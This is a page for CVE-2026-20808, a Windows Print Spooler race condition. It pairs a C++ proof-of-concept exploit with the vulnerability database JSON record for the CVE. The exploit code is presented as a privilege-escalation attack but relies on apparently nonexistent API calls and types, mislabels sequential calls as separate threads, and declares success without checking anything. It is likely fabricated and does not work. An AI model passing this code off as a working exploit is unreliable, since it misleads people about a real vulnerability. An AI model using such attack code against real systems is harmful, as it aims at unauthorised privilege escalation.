CVE-2026-20808

// CVE-2026-20808 PoC - Printer Association Object Race Condition // Author: Security Researcher // Target: Windows Print Spooler Service #include <windows.h> #include <stdio.h> #include <thread> #define ITERATIONS 1000 void RaceConditionThread(HANDLE hPrinter, int threadId) { for (int i = 0; i < ITERATIONS; i++) { // Attempt to trigger race condition in Printer Association Object PRINTER_ASSOCIATION_OBJECT obj = {0}; obj.Size = sizeof(obj); // Thread A: Modify object state SetPrinterAssociationObject(hPrinter, &obj); // Thread B: Read object state (race window) GetPrinterAssociationObject(hPrinter, &obj); // Thread C: Exploit TOCTOU vulnerability if (obj.SecurityDescriptor != NULL) { // Attempt to escalate privileges ModifySecurityDescriptor(obj.SecurityDescriptor); } // Small delay to increase race condition probability Sleep(0); } } int main() { printf("CVE-2026-20808 PoC - Printer Spooler Race Condition\n"); printf("Target: Windows Print Spooler Service\n\n"); HANDLE hPrinter = NULL; DWORD needed = 0; PRINTER_INFO_2 *pPrinterInfo = NULL; // Open printer with current user context if (!OpenPrinter(NULL, &hPrinter, NULL)) { printf("[-] Failed to open printer. Error: %d\n", GetLastError()); return 1; } printf("[+] Starting race condition attack...\n"); // Create multiple threads to increase race condition probability std::thread threads[4]; for (int i = 0; i < 4; i++) { threads[i] = std::thread(RaceConditionThread, hPrinter, i); } for (int i = 0; i < 4; i++) { threads[i].join(); } printf("[+] Race condition exploitation complete.\n"); printf("[!] Check for privilege escalation in system logs.\n"); ClosePrinter(hPrinter); return 0; }

{"cve": {"id": "CVE-2026-20808", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:07.197", "lastModified": "2026-01-14T20:10:29.687", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrent execution using shared resource with improper synchronization ('race condition') in Printer Association Object allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Ejecución concurrente usando un recurso compartido con sincronización inadecuada ('condición de carrera') en el Objeto de Asociación de Impresora permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20808", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}